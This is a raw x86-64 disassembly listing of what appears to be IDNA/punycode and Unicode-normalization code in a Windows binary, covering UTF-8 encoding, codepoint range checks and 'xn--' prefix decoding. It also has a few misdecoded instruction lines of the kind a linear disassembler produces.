cmp ebx, 0x11935
jne 0x140037f8d
mov eax, 0x11938
cmp r12d, 0x11930
je 0x1400376d2
jmp 0x140037f8d
cmp ebx, 0x11346
jg 0x140037db8
cmp ebx, 0x110a4
jle 0x140037e7e
cmp ebx, 0x110a5
je 0x1400381e0
cmp ebx, 0x11131
je 0x14003820e
cmp ebx, 0x11132
jne 0x140037f96
mov eax, 0x1112f
cmp r12d, 0x11127
je 0x14003768f
jmp 0x140037f96
shl eax, 0xc
or edx, eax
cmp byte [rsp + 0xb0], 0
jne 0x14003783e
jmp 0x140037700
cmp ebx, 0x115b7
jle 0x140037ead
cmp ebx, 0x115b8
je 0x1400381f7
cmp ebx, 0x115b9
je 0x140038225
cmp ebx, 0x11935
jne 0x140037f96
mov eax, 0x11938
cmp r12d, 0x11930
je 0x14003768f
jmp 0x140037f96
cmp ebx, 0x11099
je 0x140037efd
cmp ebx, 0x1109b
jne 0x140037f8d
mov eax, 0x1109c
cmp r12d, 0x110ba
je 0x1400376d2
jmp 0x140037f8d
cmp ebx, 0x11347
je 0x140037f11
cmp ebx, 0x114b9
jne 0x140037f8d
cmp r12d, 0x114b0
je 0x14003824d
cmp r12d, 0x114ba
je 0x14003823c
cmp r12d, 0x114bd
jne 0x140037f8d
mov eax, 0x114be
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
cmp ebx, 0x11099
je 0x140038198
cmp ebx, 0x1109b
jne 0x140037f96
mov eax, 0x1109c
cmp r12d, 0x110ba
je 0x14003768f
jmp 0x140037f96
cmp ebx, 0x11347
je 0x1400381af
test dh, dh
add al, byte [rax]
invalid
test dh, dh
add al, byte [rax]
add byte [rcx + 0x114b9fb], al
add byte [rdi], cl
test ecx, edx
add byte [rax], al
add byte [rcx - 0x7f], al
cld
mov al, 0x14
add dword [rax], eax
cmp ebx, 0x114b9
jne 0x140037f96
cmp r12d, 0x114b0
je 0x14003826f
cmp r12d, 0x114ba
je 0x14003825e
cmp r12d, 0x114bd
jne 0x140037f96
mov eax, 0x114be
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, 0x1109a
cmp r12d, 0x110ba
je 0x1400376d2
jmp 0x140037f8d
mov eax, 0x1134b
cmp r12d, 0x1133e
je 0x1400376d2
mov eax, 0x110000
cmp r12d, 0x11357
mov ecx, 0x1134c
cmove eax, ecx
je 0x1400376d2
jmp 0x140037f8d
mov eax, 0x110ab
cmp r12d, 0x110ba
je 0x1400376d2
jmp 0x140037f8d
mov eax, 0x115ba
cmp r12d, 0x115af
je 0x1400376d2
jmp 0x140037f8d
mov eax, 0x1112e
cmp r12d, 0x11127
je 0x1400376d2
jmp 0x140037f8d
mov eax, 0x115bb
cmp r12d, 0x115af
je 0x1400376d2
test sil, sil
je 0x14003846e
test byte [rsp + 0xb8], 1
je 0x140037fdb
mov rbx, qword [rsp + 0xd0]
cmp rbx, qword [rsp + 0xc0]
jne 0x140037fbf
lea rcx, [rsp + 0xc0]
call fcn.14003df00
mov rax, qword [rsp + 0xc8]
mov dword [rax + rbx*4], r12d
inc rbx
mov qword [rsp + 0xd0], rbx
jmp 0x140038183
movzx ebx, word [rsp + 0xbc]
cmp rbx, 3
ja 0x140038001
mov dword [rsp + rbx*4 + 0xc0], r12d
lea eax, [rbx + 1]
mov word [rsp + 0xbc], ax
mov esp, 0xe9000000
invalid
add dword [rax], eax
invalid
mov esp, 0xe9000000
invalid
lea r15d, [rbx*8]
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, r15
call fcn.1400f8ae0
test rax, rax
je 0x14003a200
lea ecx, [rbx + rbx]
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0
cmp bx, 4
jne 0x14003a20d
mov ecx, dword [rsp + 0xc0]
mov dword [rsp + 0xc0], 0
mov dword [rax], ecx
mov ecx, dword [rsp + 0xc4]
mov dword [rsp + 0xc4], 0
mov dword [rax + 4], ecx
mov ecx, dword [rsp + 0xc8]
mov dword [rsp + 0xc8], 0
mov dword [rax + 8], ecx
mov ecx, dword [rsp + 0xcc]
mov dword [rsp + 0xcc], 0
mov dword [rax + 0xc], ecx
mov word [rsp + 0xbc], 0
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 4
cmp qword [rsp + 0xe0], 4
jne 0x1400380ed
lea rcx, [rsp + 0xe0]
call fcn.14003df00
mov rax, qword [rsp + 0xe8]
mov ecx, 4
mov dword [rax + rcx*4], r12d
lea rax, [rcx + 1]
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x14c]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0xe0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe8]
mov qword [rcx + 8], rax
cmp dword [rsp + 0xb8], 0
je 0x140038159
cmp qword [rsp + 0xc0], 0
je 0x140038159
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0xb8], 1
movdqu xmm0, xmmword [rsp + 0x148]
movups xmm1, xmmword [rsp + 0x154]
movups xmmword [r13 + 0x80], xmm1
movdqu xmmword [r13 + 0x74], xmm0
mov byte [rsp + 0xdc], 1
mov byte [rsp + 0xdd], sil
jmp 0x14003710e
mov eax, 0x1109a
cmp r12d, 0x110ba
je 0x14003768f
jmp 0x140037f96
std
invalid
mov eax, 0x1134b
cmp r12d, 0x1133e
je 0x14003768f
mov eax, 0x110000
cmp r12d, 0x11357
mov ecx, 0x1134c
cmove eax, ecx
je 0x14003768f
jmp 0x140037f96
mov eax, 0x110ab
cmp r12d, 0x110ba
je 0x14003768f
jmp 0x140037f96
mov eax, 0x115ba
cmp r12d, 0x115af
je 0x14003768f
jmp 0x140037f96
mov eax, 0x1112e
cmp r12d, 0x11127
je 0x14003768f
jmp 0x140037f96
mov eax, 0x115bb
cmp r12d, 0x115af
je 0x14003768f
jmp 0x140037f96
mov eax, 0x114bb
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, 0x114bc
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, 0x114bb
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, 0x114bc
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov ebx, r12d
cmp ebx, 0x80
jb 0x14003841c
mov dword [rsp + 0x148], 0
mov eax, ebx
cmp ebx, 0x800
jae 0x1400382d0
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x148], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x149], bl
mov ebx, 2
jmp 0x14003838f
cmp ebx, 0x10000
jae 0x140038351
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x148], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x149], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x14a], bl
mov ebx, 3
jmp 0x14003838f
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov ebx, dword [rsp + 0xd8]
mov eax, 2
cmp ebx, 0x110000
je 0x140036f73
mov dword [rsp + 0xd8], 0x110000
cmp ebx, 0x80
jb 0x14003841c
jmp 0x14003828f
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x148], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x149], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x14a], al
and bl, 0x3f
or bl, 0x80
mov byte [rsp + 0x14b], bl
add byte [rax], al
add byte [rax], al
mov ebx, 4
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rcx]
mov r15, qword [rcx + 0x10]
sub rax, r15
cmp rax, rbx
jb 0x140038483
mov rsi, qword [rsp + 0x2e0]
mov rcx, qword [rsi + 8]
add rcx, r15
lea rdx, [rsp + 0x148]
mov r8, rbx
call fcn.140121660
add r15, rbx
mov qword [rsi + 0x10], r15
adc byte [rax - 0x75], cl
and al, 0x38
adc byte [rax - 0x75], cl
and al, 0x38
jmp 0x140036f73
test cx, cx
je 0x1400383e9
mov word [rsp + 0xbc], 0
mov ebx, dword [rsp + 0xd8]
mov dword [rsp + 0xd8], 0x110000
cmp ebx, 0x110000
je 0x1400384a2
nop word [rax + rax]
cmp ebx, 0x80
jae 0x14003828f
mov r15, qword [rsp + 0x2e0]
mov rsi, qword [r15 + 0x10]
cmp rsi, qword [r15]
jne 0x140036f60
mov rcx, r15
call fcn.14001c770
jmp 0x140036f60
mov dword [rsp + 0xd8], r12d
mov byte [rsp + 0xdc], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
cmp ebx, 0x80
jae 0x14003828f
jmp 0x14003841c
mov dword [rsp + 0xd8], r12d
cmp ebx, 0x80
jb 0x14003841c
jmp 0x14003828f
mov rsi, qword [rsp + 0x2e0]
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call fcn.14012aee0
mov r15, qword [rsi + 0x10]
jmp 0x1400383aa
cmp dword [rsp + 0x48], 0
je 0x1400384e2
cmp qword [rsp + 0x50], 0
mov r14, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x2e0]
je 0x1400384dc
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0xb8]
test eax, eax
jne 0x1400384f6
jmp 0x140038518
mov r14, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x2e0]
test eax, eax
je 0x140038518
cmp qword [rsp + 0xc0], 0
je 0x140038518
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 8
mov qword [rsp + 0x118], 0
mov rax, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x148], 0
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x178], rax
mov byte [rsp + 0x180], 1
mov word [rsp + 0x188], 1
and qword [rsp + 0x190], 0xffffffffffff00ff
mov sil, 1
movabs r15, 0xd2d2d2d2d2d2d2d2
movabs r12, 0x101010101010101
xorps xmm6, xmm6
movdqa xmm12, xmmword [0x14012f9d0]
movdqa xmm13, xmmword [0x14012f700]
movdqa xmm14, xmmword [0x14012f9e0]
movdqa xmm15, xmmword [0x14012f9f0]
movdqa xmm7, xmmword [0x14012fa00]
movdqa xmm8, xmmword [0x14012fa10]
movdqa xmm9, xmmword [0x14012fa20]
movdqa xmm10, xmmword [0x14012fa30]
movdqa xmm11, xmmword [0x14012fa40]
mov dword [rsp + 0x34], 0
jmp 0x140038660
movabs rax, 0x8080808080808080
test qword [r14], rax
je 0x140039a87
mov byte [rsp + 0xf8], 1
mov al, 1
mov dword [rsp + 0x34], eax
xor esi, esi
mov r14, qword [rsp + 0x138]
movabs r15, 0xd2d2d2d2d2d2d2d2
movabs r12, 0x101010101010101
nop
lea rcx, [rsp + 0x148]
call fcn.14003a2d0
test rax, rax
je 0x140039af2
mov rdi, rax
mov rbp, rdx
test sil, 1
mov rcx, qword [rsp + 0x2e8]
jne 0x1400386af
mov rsi, qword [rcx + 0x10]
cmp rsi, qword [rcx]
jne 0x1400386a0
call fcn.14001c770
mov rcx, qword [rsp + 0x2e8]
mov rax, qword [rcx + 8]
mov byte [rax + rsi], 0x2e
inc rsi
mov qword [rcx + 0x10], rsi
cmp rbp, 4
jb 0x1400386c1
cmp dword [rdi], 0x2d2d6e78
je 0x14003881c
test byte [rsp + 0x34], 1
jne 0x1400387c8
test rbp, rbp
je 0x1400387c0
mov rsi, rdi
add rsi, rbp
mov rbx, rdi
jmp 0x1400386e9
cmp rbx, rsi
je 0x1400387c0
movzx edx, byte [rbx]
movzx ecx, dl
test cl, cl
js 0x140038710
inc rbx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x1400386e0
jmp 0x140038790
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x14003875a
movzx ecx, byte [rbx + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140038773
movzx edx, byte [rbx + 3]
add rbx, 4
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x1400386e0
jmp 0x140038790
add rbx, 2
shl eax, 6
loopne 0x140038767
loopne 0x140038767
or eax, r8d
mov ecx, eax
lea eax, [rcx - 0x21]
cmp eax, 0x5d
ja 0x140038790
fild word [r11 + 0x22775df8]
jmp 0x1400386e0
invalid
add rbx, 3
shl eax, 0xc
or ecx, eax
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x1400386e0
nop dword [rax + rax]
call fcn.140110200
cmp al, 0x11
ja 0x1400386e0
movzx eax, al
mov ecx, 0x20003
bt ecx, eax
jae 0x1400386e0
mov al, 1
mov dword [rsp + 0x34], eax
jmp 0x1400387c8
mov dword [rsp + 0x34], 0
mov rcx, rdi
mov rdx, rbp
mov r8, r14
lea r9, [rsp + 0xf8]
call fcn.14003a520
mov r9, qword [rsp + 0x2e8]
mov rax, qword [r9]
mov rsi, qword [r9 + 0x10]
sub rax, rsi
cmp rax, rbp
jb 0x140038eb9
mov rcx, qword [r9 + 8]
add rcx, rsi
mov rdx, rdi
mov r8, rbp
mov rdi, r9
call fcn.140121660
add rbp, rsi
mov qword [rdi + 0x10], rbp
xor esi, esi
jmp 0x140038660
lea r14, [rdi + 4]
add rbp, 0xfffffffffffffffc
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rbp
mov byte [rsp + 0x60], 1
movabs rax, 0x2d0000002d
mov qword [rsp + 0x58], rax
lea rdx, [rdi + 0xb]
and rdx, 0xfffffffffffffff8
sub rdx, r14
mov r8, rdi
add r8, 3
mov r13, rbp
jmp 0x14003888e
mov qword [rsp + 0x50], r13
cmp r13, rbp
ja 0x14003898e
mov rcx, r13
sub rcx, rdx
and ecx, 0xf
cmp r13, rdx
mov eax, 0
mov r9, r13
cmova r9, rdx
cmovae rax, rcx
mov rcx, r13
sub rcx, rax
jb 0x14003a23e
lea r10, [r8 + r13]
nop word [rax + rax]
test rax, rax
je 0x1400388e0
dec rax
cmp byte [r10], 0x2d
lea r10, [r10 - 1]
jne 0x1400388c0
add rax, rcx
mov r13, rax
jmp 0x140038940
mov rax, rcx
cmp rcx, r9
jbe 0x140038923
lea rcx, [rax - 0x10]
mov r10, qword [rdi + rax - 0xc]
mov r11, qword [rdi + rax - 4]
mov rsi, r10
xor rsi, r15
mov rbx, r11
xor rbx, r15
add rbx, r12
or rbx, r11
add rsi, r12
or rsi, r10
and rsi, rbx
not rsi
movabs r10, 0x8080808080808080
test rsi, r10
je 0x1400388e0
cmp rax, r13
ja 0x14003a24d
mov r13, rax
nop
sub r13, 1
jb 0x14003898e
cmp byte [r8 + rax], 0x2d
cmp byte [rax + rax], 0x2d
mov rax, r13
jne 0x140038930
cmp r13, rbp
jae 0x140038880
mov al, 0x2d
cmp byte [r14 + r13], al
jne 0x140038880
test r13, r13
je 0x140039905
cmp r13, rbp
jae 0x14003896e
cmp byte [r14 + r13], 0xbf
jle 0x14003a2a4
lea r8, [r13 + 1]
cmp r8, rbp
cmp eax, ebp
cmp eax, ebp
jae 0x140039910
cmp byte [r14 + r8], 0xbf
jle 0x14003a28a
mov rbx, r8
jmp 0x140039919
mov rbx, r14
xor r13d, r13d
mov r14d, 1
test rbp, rbp
je 0x140038c69
add rbp, rbx
xor edi, edi
mov r12d, 0x48
mov esi, 0x80
xor edx, edx
mov dword [rsp + 0x134], r13d
xor r8d, r8d
mov qword [rsp + 0x120], rdx
lea r9d, [r12 + 0x1a]
inc rbx
mov r10d, r12d
neg r10d
mov r11d, 1
mov r15d, 0x24
mov dword [rsp + 0x128], r8d
mov ecx, r8d
movzx eax, byte [rbx - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jb 0x140038a20
nop dword [rax]
lea edx, [rax - 0x41]
cmp dl, 0x1a
jb 0x140038a24
add al, 0x9f
mov edx, eax
cmp al, 0x19
jbe 0x140038a24
jmp 0x140038633
add al, 0xea
mov edx, eax
test r11d, r11d
je 0x14003a232
movzx r8d, dl
mov eax, ecx
not eax
xor edx, edx
div r11d
cmp eax, r8d
jb 0x140038633
mov eax, r11d
imul eax, r8d
add ecx, eax
lea eax, [r10 + r15]
cmp r15d, r9d
mov edx, 0x1a
cmovae eax, edx
cmp r15d, r12d
mov edx, 1
cmovbe eax, edx
cmp eax, r8d
ja 0x140038ab0
mov r8d, 0x24
sub r8d, eax
mov eax, r8d
mul r11d
jo 0x140038633
cmp rbx, rbp
je 0x140038633
add r15d, 0x24
imul r11d, r8d
inc rbx
movzx eax, byte [rbx - 1]
lea edx, [rax - 0x30]
cmp dl, 0xa
jae 0x140038a00
jmp 0x140038a20
mov r10d, dword [rsp + 0x134]
inc r10d
je 0x14003a261
mov eax, ecx
mov edx, dword [rsp + 0x128]
sub eax, edx
test edx, edx
mov r8d, 2
mov edx, 0x2bc
cmove r8d, edx
xor r12d, r12d
xor edx, edx
div r8d
mov r8d, eax
xor edx, edx
div r10d
add eax, r8d
cmp eax, 0x1c8
mov r9d, 0xd41d41d5
jb 0x140038b2a
xor r12d, r12d
mov edx, eax
imul rdx, r9
shr rdx, 0x20
mov r8d, eax
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
add r12d, 0x24
cmp eax, 0x3e57
mov eax, r8d
ja case.0x140016398.1741
jmp 0x140038b2d
mov r8d, eax
lea eax, [r8*4]
lea eax, [rax + rax*8]
add r8d, 0x26
xor edx, edx
div r8w
mov r9d, eax
mov eax, ecx
xor edx, edx
mov dword [rsp + 0x134], r10d
div r10d
mov dword [rsp + 0x128], edx
add esi, eax
jb 0x140038633
mov eax, esi
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jb 0x140038633
mov dword [rsp + 0x144], esi
mov r15, qword [rsp + 0x110]
mov r8d, dword [rsp + 0x128]
mov esi, r8d
mov rdx, qword [rsp + 0x120]
test rdx, rdx
je 0x140038bd0
xor eax, eax
jmp 0x140038bb9
add rax, 0x10
cmp rdi, rax
je 0x140038bd0
mov rcx, qword [r15 + rax]
cmp rcx, rsi
jb 0x140038bb0
inc rcx
mov qword [r15 + rax], rcx
jmp 0x140038bb0
cmp rdx, qword [rsp + 0x108]
jne 0x140038c05
lea rcx, [rsp + 0x108]
mov r15d, r9d
call fcn.14001c6c0
mov r9d, r15d
mov r8d, dword [rsp + 0x128]
mov rdx, qword [rsp + 0x120]
mov r15, qword [rsp + 0x110]
movzx eax, r9w
add r12d, eax
mov rax, rdx
shl rax, 4
mov qword [r15 + rax], rsi
mov esi, dword [rsp + 0x144]
mov dword [r15 + rax + 8], esi
inc rdx
mov qword [rsp + 0x118], rdx
inc r8d
add rdi, 0x10
cmp rbx, rbp
jne 0x1400389c0
cmp rdx, 2
jb 0x140038c71
cmp rdx, 0x15
jae 0x140039ada
shl rdx, 4
add rdx, r15
lea rax, [r15 + 0x10]
xor r11d, r11d
mov rcx, qword [rsp + 0x2e8]
jmp 0x1400398cc
mov r15, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x118]
lea r8, [rbx + r13]
mov rax, qword [rcx]
mov rsi, qword [rcx + 0x10]
sub rax, rsi
cmp r8, rax
ja 0x140039894
mov qword [rsp + 0x128], rsi
add r13, r14
xor r12d, r12d
xor ebp, ebp
jmp 0x140038cc2
mov rax, qword [rcx + 8]
mov byte [rax + rdi], sil
inc rdi
mov qword [rcx + 0x10], rdi
inc rbp
cmp r12, rbx
jae 0x140038d20
mov rax, r12
shl rax, 4
cmp rbp, qword [r15 + rax]
jne 0x140038d30
add rax, r15
inc r12
mov esi, dword [rax + 8]
cmp esi, 0x80
jb 0x140038d51
mov dword [rsp + 0x38], 0
mov eax, esi
cmp esi, 0x800
jae 0x140038dd0
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x38], al
cmp byte [rax - 0x80], al
out 0x3f, al
cmp byte [rax - 0x80], al
out 0x3f, al
or sil, 0x80
mov byte [rsp + 0x39], sil
mov esi, 2
jmp 0x140038e53
cmp r14, r13
jne 0x140038d39
jmp 0x140038ed8
cmp r14, r13
je 0x140039af0
movzx r8d, byte [r14]
movzx esi, r8b
test sil, sil
js 0x140038d70
inc r14
cmp esi, 0x80
jae 0x140038ce5
mov rdi, qword [rcx + 0x10]
cmp rdi, qword [rcx]
jne 0x140038cb0
call fcn.14001c770
mov rcx, qword [rsp + 0x2e8]
jmp 0x140038cb0
mov eax, esi
and eax, 0x1f
movzx edx, byte [r14 + 1]
and edx, 0x3f
cmp sil, 0xdf
jbe 0x140038e02
movzx esi, byte [r14 + 2]
shl edx, 6
and esi, 0x3f
or esi, edx
cmp r8b, 0xf0
jb 0x140038e86
movzx edx, byte [r14 + 3]
add r14, 4
and eax, 7
shl eax, 0x12
shl esi, 6
and edx, 0x3f
or edx, esi
or edx, eax
mov esi, edx
cmp esi, 0x80
jb 0x140038d51
jmp 0x140038ce5
cmp esi, 0x10000
jae 0x140038e1e
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x38], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x39], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x3a], sil
mov esi, 3
jmp 0x140038e53
add r14, 2
shl eax, 6
or eax, edx
mov esi, eax
cmp esi, 0x80
jae 0x140038ce5
jmp 0x140038d51
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0x38], al
mov eax, esi
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x39], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x3a], al
and sil, 0x3f
or sil, 0x80
mov byte [rsp + 0x3b], sil
mov esi, 4
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x10]
sub rax, rdi
cmp rax, rsi
jb 0x140038ea0
mov rcx, qword [rcx + 8]
add rcx, rdi
lea rdx, [rsp + 0x38]
mov r8, rsi
call fcn.140121660
mov rcx, qword [rsp + 0x2e8]
add rdi, rsi
jmp 0x140038cbb
add r14, 3
shl eax, 0xc
or esi, eax
cmp esi, 0x80
jb 0x140038d51
jmp 0x140038ce5
mov rdx, rdi
mov r8, rsi
call fcn.14012aee0
mov rcx, qword [rsp + 0x2e8]
mov rdi, qword [rcx + 0x10]
jmp 0x140038e62
mov rcx, r9
mov rdx, rsi
mov r8, rbp
call fcn.14012aee0
mov r9, qword [rsp + 0x2e8]
mov rsi, qword [r9 + 0x10]
jmp 0x1400387f9
mov rbx, qword [rcx + 8]
mov r13, qword [rcx + 0x10]
mov rbp, qword [rsp + 0x128]
test rbp, rbp
mov r14, qword [rsp + 0x138]
movabs r15, 0xd2d2d2d2d2d2d2d2
movabs r12, 0x101010101010101
je 0x140038f1f
cmp r13, rbp
jbe 0x140038f19
cmp byte [rbx + rbp], 0xbf
jg 0x140038f1f
jmp 0x14003a26d
jne 0x14003a26d
lea rdi, [rbx + rbp]
test byte [rsp + 0x34], 1
jne 0x140039036
cmp r13, rbp
jne 0x140038f40
mov dword [rsp + 0x34], 0
jmp 0x140039036
lea rsi, [rbx + r13]
mov qword [rsp + 0x120], rdi
jmp 0x140038f59
cmp rdi, rsi
je 0x140039026
movzx edx, byte [rdi]
movzx ecx, dl
test cl, cl
js 0x140038f80
inc rdi
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x140038f50
jmp 0x140039000
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x140038fca
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140038fe3
movzx edx, byte [rdi + 3]
add rdi, 4
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
mov ecx, edx
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x140038f50
jmp 0x140039000
add rdi, 2
shl eax, 6
or eax, r8d
mov ecx, eax
lea eax, [rcx - 0x21]
cmp eax, 0x5d
ja 0x140039000
jmp 0x140038f50
add rdi, 3
shl eax, 0xc
or ecx, eax
lea eax, [rcx - 0x21]
cmp eax, 0x5d
jbe 0x140038f50
nop dword [rax + rax]
call fcn.140110200
cmp al, 0x11
ja 0x140038f50
movzx eax, al
mov ecx, 0x20003
bt ecx, eax
jae 0x140038f50
mov al, 1
mov dword [rsp + 0x34], eax
jmp 0x14003902e
mov dword [rsp + 0x34], 0
mov rdi, qword [rsp + 0x120]
movq xmm0, qword [rsp + 0xf8]
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd eax, xmm1
or al, byte [rsp + 0x100]
movzx ecx, byte [rsp + 0x101]
or cl, byte [rsp + 0x102]
or cl, al
xor esi, esi
test cl, 1
jne 0x140038660
test byte [rsp + 0x103], 1
jne 0x140038660
cmp r13, rbp
je 0x140039a53
add rbx, r13
xor edx, edx
xor ecx, ecx
mov rax, rdi
movzx r8d, byte [rax]
test r8b, r8b
js 0x1400390bb
inc rax
jmp 0x140039170
movzx r9d, r8b
and r9d, 0x1f
movzx r11d, byte [rax + 1]
and r11d, 0x3f
cmp r8b, 0xe0
jb 0x14003911f
movzx r10d, byte [rax + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r8b, 0xf0
jb 0x140039138
movzx r8d, byte [rax + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x140039702
add rax, 4
cmp r8d, 0x7f
jbe 0x140039170
jmp 0x140039203
add rax, 2
shl r9d, 6
or r9d, r11d
mov r8d, r9d
cmp r8d, 0x7f
jbe 0x140039170
jmp 0x140039203
add rax, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0x7f
jbe 0x140039170
jmp 0x140039203
inc rax
cmp r8d, 0x80
jae 0x140039201
cmp rax, rbx
je 0x140039702
movzx r10d, byte [rax]
movzx r8d, r10b
test r8b, r8b
jns 0x140039160
mov edx, r8d
and edx, 0x1f
movzx r11d, byte [rax + 1]
and r11d, 0x3f
cmp r8b, 0xdf
jbe 0x1400391dd
movzx r9d, byte [rax + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400391ef
movzx r8d, byte [rax + 3]
and edx, 7
shl edx, 0x12
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
or r8d, edx
cmp r8d, 0x110000
je 0x140039702
add rax, 4
jmp 0x140039163
add rax, 2
shl edx, 6
or edx, r11d
mov r8d, edx
jmp 0x140039163
add rax, 3
shl edx, 0xc
or r9d, edx
mov r8d, r9d
jmp 0x140039163
xor edx, edx
mov r9d, edx
imul edx, r8d, 0x9e3779b9
imul r10d, r8d, 0x31415926
xor edx, r10d
imul rdx, rdx, 0x39a
shr rdx, 0x20
lea r11, [0x14016f288]
movzx edx, word [r11 + rdx*2]
add edx, r8d
imul edx, edx, 0x9e3779b9
xor edx, r10d
imul rdx, rdx, 0x39a
shr rdx, 0x20
lea r10, [0x14016f9bc]
mov edx, dword [r10 + rdx*4]
mov r10d, edx
shr r10d, 8
cmp r10d, r8d
mov r10d, 0
cmovne edx, r10d
cmp r9b, dl
seta r9b
test dl, dl
setne r10b
test r9b, r10b
jne case.0x14003946c.3907
lea r9d, [r8 - 0x340]
cmp r9d, 4
ja 0x140039291
cmp r9d, 2
jne case.0x14003946c.3907
mov r9b, 2
cmp r8d, 0xd56
jg 0x1400392fe
cmp r8d, 0x9de
jg 0x140039344
cmp r8d, 0x93b
jg 0x14003946f
lea r10d, [r8 - 0x30f]
cmp r10d, 0x36
ja 0x1400392d8
movabs r11, 0x48020000001005
bt r11, r10
jb 0x1400396f4
lea r10d, [r8 - 0x374]
cmp r10d, 0x13
ja case.0x14003946c.3908
mov r11d, 0x80401
bt r11d, r10d
jb case.0x14003946c.3907
jmp case.0x14003946c.3908
cmp r8d, 0x11126
jg 0x1400393ae
cmp r8d, 0x102d
jle 0x140039423
cmp r8d, 0x1f70
jg 0x1400394c7
cmp r8d, 0x102e
je 0x1400396f4
cmp r8d, 0x1b35
je 0x1400396f4
jmp case.0x14003946c.3908
cmp r8d, 0xbd6
jg 0x1400393f7
cmp r8d, 0xbbd
jg 0x14003956a
lea r10d, [r8 - 0xb3e]
cmp r10d, 0x19
ja 0x14003937b
mov r11d, 0x3000001
bt r11d, r10d
jb 0x1400396f4
lea r10d, [r8 - 0xa33]
cmp r10d, 0x2b
ja 0x14003939c
movabs r11, 0x80000000009
bt r11, r10
jb case.0x14003946c.3907
cmp r8d, 0x9df
jne case.0x14003946c.3908
jmp case.0x14003946c.3907
cmp r8d, 0x114af
jle 0x14003949b
lea r10d, [r8 - 0x114b0]
